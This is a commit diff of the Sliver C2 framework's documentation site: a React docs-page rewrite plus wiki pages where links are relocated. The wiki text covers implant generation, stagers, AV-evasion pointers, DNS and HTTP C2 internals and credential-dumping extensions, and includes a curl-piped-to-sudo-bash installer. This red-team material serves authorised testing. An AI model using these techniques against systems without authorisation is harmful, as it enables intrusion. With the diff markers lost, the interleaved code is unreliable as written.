const [name, setName] = React.useState("");
const [markdown, setMarkdown] = React.useState("");
React.useEffect(() => {
if (docs && name !== "") {
setMarkdown(docs?.docs.find((doc) => doc.name === name)?.content);
const _name = params.get("name");
setName(_name || "");
setMarkdown(docs?.docs.find((doc) => doc.name === _name)?.content || "");
}, [params, docs]);
const [filterValue, setFilterValue] = React.useState("");
const fuse = React.useMemo(() => {
return new Fuse(docs?.docs || [], {
keys: ["name"],
threshold: 0.3,
});
}, [docs]);
const visibleDocs = React.useMemo(() => {
if (filterValue) {
// Fuzzy match display names
const fuzzy = fuse.search(filterValue).map((r) => r.item);
return fuzzy;
}
if (docs && name === "" && docs.docs.length > 0) {
setName(docs.docs[0].name);
setMarkdown(docs.docs[0].content);
return docs?.docs || [];
}, [docs, fuse, filterValue]);
const listboxClasses = React.useMemo(() => {
if (theme === Themes.DARK) {
return "p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible shadow-small rounded-medium";
} else {
return "border p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible shadow-small rounded-medium";
}
}, [docs, name]);
}, [theme]);
if (isLoading || !docs) {
return <div>Loading...</div>;
@@ -63,112 +75,75 @@ const DocsIndexPage: NextPage = () => {
return (
<div className="grid grid-cols-12">
<div className="col-span-3 mt-4 ml-4">
<div className="flex flex-row justify-center text-lg mb-2 gap-2">
Topics
<Head>
<title>Sliver Docs: {name}</title>
</Head>
<div className="col-span-3 mt-4 ml-4 h-screen sticky top-20">
<div className="flex flex-row justify-center text-lg gap-2">
<Input
placeholder="Filter..."
startContent={<FontAwesomeIcon icon={faSearch} />}
value={filterValue}
onChange={(e) => setFilterValue(e.target.value)}
isClearable={true}
onClear={() => setFilterValue("")}
/>
</div>
<div className="mt-2">
<Listbox
aria-label="Toolbox Menu"
className="p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible shadow-small rounded-medium"
itemClasses={{
base: "px-3 first:rounded-t-medium last:rounded-b-medium rounded-none gap-3 h-12 data-[hover=true]:bg-default-100/80",
}}
>
{docs.docs.map((doc) => (
<ListboxItem
key={doc.name}
value={doc.name}
onClick={() => {
setName(doc.name);
setMarkdown(doc.content);
<ScrollShadow>
<div className="max-h-[70vh]">
<Listbox
aria-label="Toolbox Menu"
className={listboxClasses}
itemClasses={{
base: "px-3 first:rounded-t-medium last:rounded-b-medium rounded-none gap-3 h-12 data-[hover=true]:bg-default-100/80",
}}
>
{doc.name}
</ListboxItem>
))}
</Listbox>
{visibleDocs.map((doc) => (
<ListboxItem
key={doc.name}
value={doc.name}
onClick={() => {
router.push({
pathname: "/docs",
query: { name: doc.name },
});
}}
>
{doc.name}
</ListboxItem>
))}
</Listbox>
</div>
</ScrollShadow>
</div>
</div>
<div className="col-span-9">
<Card className="mt-8 ml-8 mr-8 mb-8">
<CardHeader>
<span className="text-3xl">{name}</span>
</CardHeader>
<Divider />
<CardBody
className={
theme === Themes.DARK
? "prose prose-sm dark:prose-invert"
: "prose prose-sm prose-slate"
}
>
<Markdown
remarkPlugins={[remarkGfm]}
components={{
pre(props): any {
const { children, className, node, ...rest } = props;
const childClass = (children as any)?.props?.className;
if (
childClass &&
childClass.startsWith("language-") &&
childClass !== "language-plaintext"
) {
// @ts-ignore
return <div {...rest}>{children}</div>;
}
return (
<pre {...rest} className={className}>
{children}
</pre>
);
},
img(props) {
const { src, alt, ...rest } = props;
console.log(props);
return (
// @ts-ignore
<Image
{...rest}
src={src || ""}
alt={alt || ""}
width={500}
height={500}
className="w-full rounded-medium"
/>
);
},
code(props) {
const { children, className, node, ...rest } = props;
const langTag = /language-(\w+)/.exec(className || "");
const lang = langTag ? langTag[1] : "plaintext";
if (lang === "plaintext") {
return (
<code {...rest} className={className}>
{children}
</code>
);
}
return (
<CodeViewer
className="min-h-[250px]"
key={`${Math.random()}`}
fontSize={11}
script={
{
script_type: lang,
source_code: (children as string) || "",
} as CodeSchema
}
/>
);
},
}}
>
{markdown}
</Markdown>
</CardBody>
</Card>
{name !== "" ? (
<Card className="mt-8 ml-8 mr-8 mb-8">
<CardHeader>
<span className="text-3xl">{name}</span>
</CardHeader>
<Divider />
<CardBody>
<MarkdownViewer
key={name || `${Math.random()}`}
markdown={markdown || ""}
/>
</CardBody>
</Card>
) : (
<div className="grid grid-cols-3">
<div className="col-span-1"></div>
<div className="col-span-1 mt-8 text-2xl text-center">
Welcome to the Sliver Wiki!
<div className="text-xl text-gray-500">
Please select a document
</div>
</div>
<div className="col-span-1"></div>
</div>
)}
</div>
</div>
);
@@ -1,4 +1,4 @@
Sliver allows an operator to extend the local client console and its features by adding new commands based on third party tools. The easiest way to install an alias or extension is using the [armory](https://github.com/BishopFox/sliver/wiki/Armory).
Sliver allows an operator to extend the local client console and its features by adding new commands based on third party tools. The easiest way to install an alias or extension is using the [armory](/docs?name=Armory).
#### Aliases Command Parsing
@@ -151,7 +151,7 @@ Sliver - 3rd Party extensions:
To write a new alias, one must either create a shared library or a .NET assembly, then write a manifest file compliant with the description above.
As the alias support relies on Sliver side loading capabilities, please make sure to read the [Using 3rd party tools](https://github.com/BishopFox/sliver/wiki/Using-3rd-party-tools) section, to understand how shared libraries are loaded on all platforms.
As the alias support relies on Sliver side loading capabilities, please make sure to read the [Using 3rd party tools](/docs?name=Third+Party+Tools) section, to understand how shared libraries are loaded on all platforms.
## Extensions
@@ -1,4 +1,4 @@
The Sliver authors do not consider anti-virus evasion to be within the scope of the Sliver project; there is already a myriad of works in this area. That said, Sliver is designed to be interoperable with common techniques for bypassing anti-virus software such as packers, crypters, and [stagers](https://github.com/BishopFox/sliver/wiki/Stagers).
The Sliver authors do not consider anti-virus evasion to be within the scope of the Sliver project; there is already a myriad of works in this area. That said, Sliver is designed to be interoperable with common techniques for bypassing anti-virus software such as packers, crypters, and [stagers](/docs?name=Stagers).
Here are some external resources for anti-virus evasion:
@@ -26,7 +26,3 @@ There are four major components to the Sliver ecosystem:
```
By implementing all functionality over this gRPC interface, and only differing the in-memory/mTLS connection types the client code doesn't "know" if it's running in the server console or the client console. Due to this, a single command implementation will work in both the server console and over the network in multiplayer mode.
## Sliver Server
WIP
+1 -1
View File
@@ -2,7 +2,7 @@ The armory is the Sliver Alias and Extension package manager (introduced in Sliv
The armory downloads packages from `github.com` and `api.github.com` so you'll need an internet connection in order for the command to work. The command does support proxies (see `--help`) and after an alias or extension is installed an internet connection is not required to execute the alias/extension.
Aliases and extensions are installed on the "sliver client"-side, and thus are not shared among operators in [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
Aliases and extensions are installed on the "sliver client"-side, and thus are not shared among operators in [multiplayer mode](/docs?name=Multi-player+Mode).
As of v1.5.14 you can also use `armory install all` to install _everything_ if you really want to.
+1 -1
View File
@@ -1,6 +1,6 @@
Sliver keeps an audit log of every command and its arguments executed by the server (including commands executed by operators in multiplayer mode), as well as most events (such as a new session or beacon connecting to the server). The audit log's intended use is for after-action analysis; providing a detailed history of the entire engagement, including which commands were executed on which hosts when. This will include any commands executed by any operator on any session. Note some console commands only perform actions on the "client-side" and may not appear in the audit log, but will still appear in the client's command history. Additionally, interactive commands (e.g., `shell`) may not appear in the logs aside from the initial usage of the `shell` command.
By default the audit log is located on the server at: `~/.sliver/logs/audit.json`. However, this can be changed by modifying the [`SLIVER_ROOT_DIR`](https://github.com/BishopFox/sliver/wiki/Environment-Variables#assets) environment variable.
By default the audit log is located on the server at: `~/.sliver/logs/audit.json`. However, this can be changed by modifying the [`SLIVER_ROOT_DIR`](/docs?name=Environment-Variables#assets) environment variable.
#### Parsing Audit Logs
@@ -2,9 +2,9 @@ Sliver v1.5 and later support the loading and execution of BOFs and COFFs, gener
### BOF Extensions
BOF support is provided via the [COFF Loader](https://github.com/sliverarmory/COFFLoader) extension, you'll need it installed to run pretty much any BOF. However, the COFF Loader will be installed automatically if you install a BOF extension from the [armory](https://github.com/BishopFox/sliver/wiki/Armory).
BOF support is provided via the [COFF Loader](https://github.com/sliverarmory/COFFLoader) extension, you'll need it installed to run pretty much any BOF. However, the COFF Loader will be installed automatically if you install a BOF extension from the [armory](/docs?name=Armory).
The easiest way to install a BOF extension, for example [`nanodump`](https://github.com/sliverarmory/nanodump), is using the [armory](https://github.com/BishopFox/sliver/wiki/Armory) package manager:
The easiest way to install a BOF extension, for example [`nanodump`](https://github.com/sliverarmory/nanodump), is using the [armory](/docs?name=Armory) package manager:
**IMPORTANT:** BOF Extensions are installed per-sliver client, they are not stored on the server. Thus extensions are not shared across operators, each operator must install the extension to use it.
@@ -114,6 +114,6 @@ Looking at the script we can see the BOF requires a single integer argument. The
Once the manifest is defined load it into your client using `extensions load`, locally loaded extensions do not need to be cryptographically signed. The paths in the manifest should be relative to the manifest file, parent directories are not allowed.
More details can be found on the [Aliases & Extensions](https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions) page.
More details can be found on the [Aliases & Extensions](/docs?name=Aliases+and+Extensions) page.
**IMPORTANT:** For BOF extensions to be properly detected by the Sliver client, the `path` must use the `.o` file extension.
@@ -1,37 +0,0 @@
⚠️ **NOTE:** This guide is intended for absolute beginners to the red team space, please see the [Getting Started](https://github.com/BishopFox/sliver/wiki/Getting-Started) guide for a more straight forward tutorial if that's not you.
# The Red Team Beginner's Guide to Sliver
⚠️ This page is a work in progress and is incomplete, you may want to read [Getting Started](https://github.com/BishopFox/sliver/wiki/Getting-Started) or the [Community Guides](https://github.com/BishopFox/sliver/wiki/Community-Guides) instead for the time being.
## Introduction
### What's a C2?
A command and control (C2) framework allows attackers to fully leverage existing access to computer systems or networks. C2 frameworks such as Sliver by themselves will generally not get you access to systems that you do not already have. There are many techniques for gaining initial access, however some of the most common are exploiting software vulnerabilities using something like [Metasploit](https://www.metasploit.com/), or by social engineering a user to inadvertently execute a C2 payload. Regardless of the initial access method, the subsequent steps taken by an attacker are referred to as "post-exploitation" activities.
Throughout this guide and the Sliver code base the following terms of art are used. These definitions may vary slightly across the industry but this is how we define them:
- **Implant** - A generic term for piece of software used to maintain access to an environment or system, generally through the use of command and control (C&C, C2, etc.), this is the code that the attack executes on the target machine as well as maintain access. The term "implant" is often interchangeable with "agent."
- **Beacon** - May refer to (1) a communication pattern where an implant periodically connects to the C2 server as apposed to using a stateful/real time connection (2) [Cobalt Strike's](https://www.cobaltstrike.com/) primary implant, more often called "CS Beacon." In the context of Sliver, "Beacon" specifically refers to a Sliver implant that implements definition (1) communication style.
- **Stage** - A "stage" or "staged payload" is a method of loading a piece of code, typically over a network, onto a remote machine. Traditionally staging was used in conjunction with exploits that had size limitations. Typically the goal is to execute a small piece of code, i.e. the "stager," which in turn loads a larger piece of code. Staged payloads are still used in this way today, however they are also often useful for bypassing anti-virus detection since the majority of the malicious code is loaded directly into memory. Stages are sometimes number e.g. a "stage 0" will load a "stage 1" which loads a "stage 2" payload.
### Selecting a C2 Framework
You should always choose the right tool for the right job. There are many open source, as well as commercially available C2 frameworks to choose from. A key element to successful red teams, is the ability understand how all these tools work, and when best to apply them given the contextual variables of an operation or action. The [C2 Matrix](https://www.thec2matrix.com/) has a good overview of both commercial and open source frameworks -though the Sliver entry is a bit out of date.
Here is a high level overview of open source frameworks we recommend in addition to Sliver, and some advantages/disadvantages of each:
#### [Sliver](https://github.com/BishopFox/sliver)
Both the Sliver server and implant are written in Golang (the Go programming language). This makes setup of a basic Sliver deployment as easy as running the server binary. The Sliver implant is also written in Golang, which means it's easy to cross-compile to a variety of platforms. However, the tradeoff here is that the executable files (e.g., a .exe) can be sizable (up to 20Mb depending on options), as in life nothing is free.
#### [Mythic](https://github.com/its-a-feature/Mythic)
A Mythic deployment consists of several components implemented in a variety of languages, setup of a deployment is relatively automated however isn't as simple as Sliver or Merlin. However, Mythic makes it much easier to integrate 3rd party or modified implants to avoid detection in comparison to Sliver or Merlin. Mythic also features a multi-user web interface making collaboration between operators easy. The stability, features, and stealth of Mythic implants varies depending on the agent implementation you choose, which is important to keep in mind during operational planning.
#### [Merlin](https://github.com/Ne0nd0g/merlin)
The Merlin server and implant are also implemented in Golang.
@@ -1,8 +1,6 @@
# Server Configuration
### General Server Configuration
Starting in version 1.0.0 the Sliver server has a configuration file located the `configs` sub-directory of the [`SLIVER_ROOT_DIR`](https://github.com/BishopFox/sliver/wiki/Environment-Variables#assets), by default this will be `~/.sliver/configs/server.json`. If no configuration file exists, a default configuration will be generated and written to disk on startup. The default configuration is shown below:
Starting in version 1.0.0 the Sliver server has a configuration file located the `configs` sub-directory of the [`SLIVER_ROOT_DIR`](/docs?name=Environment+Variables), by default this will be `~/.sliver/configs/server.json`. If no configuration file exists, a default configuration will be generated and written to disk on startup. The default configuration is shown below:
#### Default Server Config
@@ -23,7 +21,7 @@ Starting in version 1.0.0 the Sliver server has a configuration file located the
#### Configuration Options
- `daemon_mode` - Enable [daemon mode](https://github.com/BishopFox/sliver/wiki/Daemon-Mode)
- `daemon_mode` - Enable [daemon mode](/docs?name=Daemon+Mode)
- `daemon` - An object containing options related to `daemon_mode`, these values are only used when `daemon_mode` is set to `true`.
- `host` - What network interface to bind the `daemon_mode` client listener to. By default this is an empty string, which indicates binding to all interfaces.
- `port` - TCP port to bind the `deamon_mode` client listener to.
@@ -70,7 +68,7 @@ Starting in version v1.1.0 Sliver supports SQL database configurations, by defau
### Operator
Client configurations must be generated by the server (they contain per-user key pairs). For more details see [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode), and example configuration is shown below. Client configuration files can be copied into `~/.sliver-client/configs/`:
Client configurations must be generated by the server (they contain per-user key pairs). For more details see [multiplayer mode](/docs?name=Multi-player+Mode), and example configuration is shown below. Client configuration files can be copied into `~/.sliver-client/configs/`:
```json
{
@@ -2,7 +2,7 @@
Sliver can tell you which platforms it can likely target based on the server's platform and available cross-compilers by running the `generate info` command in the console.
Sliver v1.5.30 and later also support [External Builders](https://github.com/BishopFox/sliver/wiki/External-Builders), which can be used to easily cross-compile implants.
Sliver v1.5.30 and later also support [External Builders](/docs?name=External+Builders), which can be used to easily cross-compile implants.
## From Linux to MacOS/Windows
@@ -12,13 +12,13 @@ To compile Windows shared library and shellcode implants from Linux, install min
sudo apt install mingw-w64
```
To compile MacOS shared library implants from Linux, we recommend using https://github.com/tpoechtrager/osxcross by default Sliver will look in `/opt/osxcross` but you can override this via [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables). If you do not have a MacOS based machine you can use GitHub Actions' MacOS instances to build OSXCross.
To compile MacOS shared library implants from Linux, we recommend using https://github.com/tpoechtrager/osxcross by default Sliver will look in `/opt/osxcross` but you can override this via [environment variables](/docs?name=Environment+Variables). If you do not have a MacOS based machine you can use GitHub Actions' MacOS instances to build OSXCross.
**NOTE:** Sliver expects the root of the osxcross git repo to be located at `/opt/osxcross` and the actual binaries in `/opt/osxcross/target/bin`.
An example deployment is shown below, you have to procure the `MacOSX11.1.sdk.tar.xz` yourself due to license restrictions (see the OSXCross GitHub for more details):
```
```shell
sudo apt-get install -y git curl libssl-dev cmake liblzma-dev libxml2-dev patch clang zlib1g-dev
git clone https://github.com/tpoechtrager/osxcross.git /opt/osxcross
curl -o /opt/osxcross/tarballs/MacOSX11.1.sdk.tar.xz 'https://example.com/MacOSX11.1.sdk.tar.xz'
@@ -26,25 +26,31 @@ cd /opt/osxcross
UNATTENDED=1 ./build.sh
```
Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).
## From MacOS to Linux/Windows
To compile Windows shared library and shellcode implants from MacOS install mingw from brew:
```
````
brew install mingw-w64
```
For Linux, we recommend `musl-cross` to target 64-bit Linux, which can be installed via brew:
```
brew install FiloSottile/musl-cross/musl-cross
brew install mingw-w64
```
I'm not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
I'm not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).
## From Windows to MacOS/Linux
Good luck.
```
````
+1 -1
View File
@@ -26,7 +26,7 @@ The `cursed electron` command can be used to restart an Electron application wit
## Cursed Console
The `cursed console` command can be used to start an interactive REPL with any cursed process. You will need to start a cursed process using `cursed chrome`, `cursed edge`, or `cursed electron` before using `cursed console`. You can list cursed processes using the `cursed` command. ![cursed](https://user-images.githubusercontent.com/875022/188246398-97e5c7dd-1c21-4aeb-a57e-222fda826e66.png)
The `cursed console` command can be used to start an interactive REPL with any cursed process. You will need to start a cursed process using `cursed chrome`, `cursed edge`, or `cursed electron` before using `cursed console`. You can list cursed processes using the `cursed` command. ![cursed](/images/cursed-1.png)
## Cursed Cookies
+2 -2
View File
@@ -12,7 +12,7 @@ Use the following steps to configure a domain for DNS C2 (and DNS Canaries), you
**IMPORTANT:** Always use the FQDN when issuing DNS commands in the Sliver console (e.g., `1.example.com.` note the trailing `.`). DNS is a finicky protocol!
The final configuration should look like for the domain `lil-peep.rip`:
![DNS Configuration](https://i.imgur.com/hpOnGJp.png)
![DNS Configuration](/images/dns-c2-1.png)
**IMPORTANT:** Remember to disable Cloudflare's "cloud" when configuring these records, and to adjust the TTLs.
@@ -59,7 +59,7 @@ nameserver 8.8.8.8
# Under the Hood
**NOTE:** This describes the v1.5+ implementation of DNS C2. Also, I'm not going to cover the cryptographic key exchange, which you can read about [here](https://github.com/BishopFox/sliver/wiki/Transport-Encryption), this is just about how do we move bytes back and forth.
**NOTE:** This describes the v1.5+ implementation of DNS C2. Also, I'm not going to cover the cryptographic key exchange, which you can read about [here](/docs?name=Transport+Encryption), this is just about how do we move bytes back and forth.
### Design Goals
@@ -1,4 +1,4 @@
Starting in v1.0.0 Sliver supports running in "daemon mode," which automatically starts a client listener (but not an interactive console). In order to connect to a server running in daemon mode you'll need to use [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
Starting in v1.0.0 Sliver supports running in "daemon mode," which automatically starts a client listener (but not an interactive console). In order to connect to a server running in daemon mode you'll need to use [multiplayer mode](/docs?name=Multi-player+Mode).
There are two ways to start the server in daemon mode:
@@ -25,4 +25,4 @@ $ cat ~/.sliver/configs/server.json
#### systemd
With this config you can easily setup a [systemd service](https://www.linode.com/docs/quick-answers/linux/start-service-at-boot/) or init script. See the [Linux install script](https://github.com/BishopFox/sliver/wiki/Linux-Install-Script) for an example.
With this config you can easily setup a [systemd service](https://www.linode.com/docs/quick-answers/linux/start-service-at-boot/) or init script. See the [Linux install script](/docs?name=Linux+Install+Script) for an example.
@@ -24,7 +24,7 @@ External builders can also be used to create custom modifications to the implant
#### Setup
Any `sliver-server` binary can be started as a builder process using [operator configuration files from multiplayer-mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode) from the server you want to connect the builder to, for example:
Any `sliver-server` binary can be started as a builder process using [operator configuration files from multiplayer-mode](/docs?name=Multi-player+Mode) from the server you want to connect the builder to, for example:
```
./sliver-server builder -c operator-multiplayer.cfg
@@ -86,7 +86,7 @@ You are welcome to customize the implant source code under the terms of Sliver's
1. Fork the main Sliver Github repository
1. Make modifications to the source code
1. [Compile a Sliver server binary](https://github.com/BishopFox/sliver/wiki/Compile-From-Source)
1. [Compile a Sliver server binary](/docs?name=Compile+from+Source)
1. Connect the customized Sliver server binary to any other C2 server (including mainline servers) as an external builder
1. Operators can generate the customized implant builds via the `generate --external-builder` flag
1. Avoid making any changes to `/server` to make merging upstream easier if changes are introduced to the builder APIs
@@ -1,20 +1,28 @@
**⚠️ NOTE:** This guide is intended for experienced red teamers, but we also have a [Beginner's Guide](https://github.com/BishopFox/sliver/wiki/Beginner's-Guide) for a more beginner friendly tutorial.
## Server Setup
Download the latest server [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
Sliver is designed for a one server deployment per-operation. The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux host (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, if for some odd reason your operators want to actually use Windows you'll just need to setup [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
Sliver is designed for a one server deployment per-operation. The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux host (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, so if for some odd reason your operators actually want to use Windows you can still accommodate them using [multiplayer mode](/docs?name=Multi-player+Mode).
Obfuscated builds require `git` to be installed. Additionally, Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable DLL payloads (on a Linux server) you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
For a Linux server, you can also use the one liner installation `curl https://sliver.sh/install|sudo bash`
```asciinema
{"src": "/asciinema/install-1.cast", "cols": "132"}
```
If you install Sliver via the one liner, you can check that the server service is running using `systemctl status sliver`. Note that the Sliver service is not configured to start automatically on boot by default (i.e., if you reboot the server you'll need to start the service again using `systemctrl start sliver`):
```asciinema
{"src": "/asciinema/service-status-1.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
#### System Requirements
The Sliver server can run effectively on almost any system, however we recommend 8GB or more of RAM for compiling obfuscated implants as the obfuscator may consume large amounts of memory depending on compile-time options. You can leverage [external builders](https://github.com/BishopFox/sliver/wiki/External-Builders) in conjunction with low resource systems to work around hardware limitations of the server (e.g. a low powered VPS). Symbol obfuscation can also be disabled per-build, see `generate --help` in the Sliver console.
The Sliver server can run effectively on almost any system, however we recommend 8GB or more of RAM for compiling obfuscated implants as the obfuscator may consume large amounts of memory depending on compile-time options. You can leverage [external builders](/docs?name=External+Builders) in conjunction with low resource systems to work around hardware limitations of the server (e.g. a low powered VPS). Symbol obfuscation can also be disabled per-build, see `generate --help` in the Sliver console.
### MinGW Setup (Optional, Recommended)
In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](/docs?name=Environment+Variables).
#### Linux (Debian-based)
@@ -28,9 +36,9 @@ apt install git mingw-w64
brew install git mingw-w64
```
**Note:** On MacOS you may need to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
**Note:** On MacOS you may need to configure [environment variables](/docs?name=Environment+Variables) for MinGW.
See [cross-compiling implants](https://github.com/BishopFox/sliver/wiki/Cross-Compiling-Implants) for more details.
See [cross-compiling implants](/docs?name=Cross-compiling+Implants) for more details.
### Metasploit Setup (Optional)
@@ -38,7 +46,7 @@ We strongly recommend using the [nightly framework installers](https://github.co
## Implants: Beacon vs. Session
Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](https://github.com/BishopFox/sliver/wiki/Stagers) for actual operations (at least in contexts where one may be concerned about file size). Such is the tradeoff for getting easy static compilation in Golang.
Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](/docs?name=Stagers) for actual operations (at least in contexts where one may be concerned about file size). Such is the tradeoff for getting easy static compilation in Golang.
Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol.
@@ -52,23 +60,14 @@ Generating implants is done using the `generate` command, you must specify at le
#### Session Mode
```
[server] sliver > generate --mtls example.com --save /Users/moloch/Desktop
[*] Generating new windows/amd64 Sliver binary
[*] Build completed in 00:00:16
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
```asciinema
{"src": "/asciinema/sliver-generate-1.cast", "cols": "132"}
```
#### Beacon Mode
```
[server] sliver > generate beacon --mtls example.com --save /Users/moloch/Desktop
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:00:27
[*] Implant saved to /Users/moloch/Desktop/FINE_SENTENCE.exe
```asciinema
{"src": "/asciinema/sliver-generate-2.cast", "cols": "132"}
```
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers.
@@ -111,8 +110,8 @@ sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
For addition details about each C2 please see:
- [HTTP(S) C2](<https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2>)
- [DNS C2](https://github.com/BishopFox/sliver/wiki/DNS-C2)
- [HTTP(S) C2](/docs?name=HTTPS+C2)
- [DNS C2](/docs?name=DNS+C2)
## Getting Shells
@@ -153,7 +152,7 @@ sliver (LONG_DRAMATURGE) > ls
LONG_DRAMATURGE 6.3 MiB
```
If you're having problems getting callbacks please see our [troubleshooting guide](https://github.com/BishopFox/sliver/wiki/Troubleshooting#implant-troubleshooting), (TL;DR add the `--debug` flag when generating an implant).
If you're having problems getting callbacks please see our [troubleshooting guide](/docs?name=Troubleshooting), (TL;DR add the `--debug` flag when generating an implant).
### Interacting with Beacons
@@ -244,9 +243,9 @@ sliver > generate --mtls foo.com,bar.com,baz.com --strategy r
Most commands have a `--help` and support tab complete, you may also find the following wiki articles of interest:
- [Armory](https://sliver.sh/docs#name=Armory)
- [Stagers](https://sliver.sh/docs#name=Stagers)
- [Community Guides](https://sliver.sh/docs#name=Community%20Guides)
- [Port Forwarding](https://sliver.sh/docs#name=Port%20Forwarding)
- [Reverse SOCKS](https://sliver.sh/docs#name=Reverse%20SOCKS)
- [BOF/COFF Support](https://sliver.sh/docs#name=BOF%20and%20COFF%20Support)
- [Armory](/docs?name=Armory)
- [Stagers](/docs?name=Stagers)
- [Community Guides](/docs?name=Community%20Guides)
- [Port Forwarding](/docs?name=Port%20Forwarding)
- [Reverse SOCKS](/docs?name=Reverse%20SOCKS)
- [BOF/COFF Support](/docs?name=BOF%20and%20COFF%20Support)
+4 -4
View File
@@ -67,7 +67,7 @@ The priority of retrieval is the following:
#### NTLM/Kerberos Proxy Authentication
You can use [advanced options](https://github.com/BishopFox/sliver/wiki/C2-Advanced-Options) to enable the use of the `wininet` HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to covert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice.
You can use [advanced options](/docs?name=C2-Advanced-Options) to enable the use of the `wininet` HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to covert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice.
## Start the Listener
@@ -109,7 +109,7 @@ By default when using the `https` listener Sliver will simply generate a random
sliver > https --domain example.com --lets-encrypt
```
This uses Let's Encrypt/ACME HTTP validation, so the server will need the ability to start a public listener and you'll need to have the DNS for your `--domain` pointed to the Sliver server. If you're having issues pulling a certificate be sure to [check the logs](https://github.com/BishopFox/sliver/wiki/Troubleshooting).
This uses Let's Encrypt/ACME HTTP validation, so the server will need the ability to start a public listener and you'll need to have the DNS for your `--domain` pointed to the Sliver server. If you're having issues pulling a certificate be sure to [check the logs](/docs?name=Troubleshooting).
You can also upload your own SSL/TLS certificate/key pairs:
@@ -166,7 +166,7 @@ This section covers the "under the hood" implementation details of Sliver's HTTP
The primary goals of the existing HTTP C2 design are to:
- **Reliable Connections** The implants foremost goal is to get a connection out of the network, regardless of the environment's configuration.
- **Data Security** I won't cover this here, but [click here](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) for details.
- **Data Security** I won't cover this here, but [click here](/docs?name=Transport+Encryption) for details.
- **Network Layer Evasion** C2 messages should be hard to detect from the network layer, this is done via "Procedural C2" as detailed below.
### Procedural HTTP C2
@@ -179,7 +179,7 @@ Each implant is also only embedded with a randomly generated subset of the serve
The high level process to generate and send a standard session request is (note: this is all after the key exchange, which I'm skipping for now):
1. Randomly generate the request path using built-in path segments. The path will have one of the following extensions, which indicate the type of request. This is distinct from a _message type_, the message type (i.e., the type of command) is in the encrypted so it cannot be determined without the [session key](https://github.com/BishopFox/sliver/wiki/Transport-Encryption). Everything in the path except for the extension is ignored by the server.
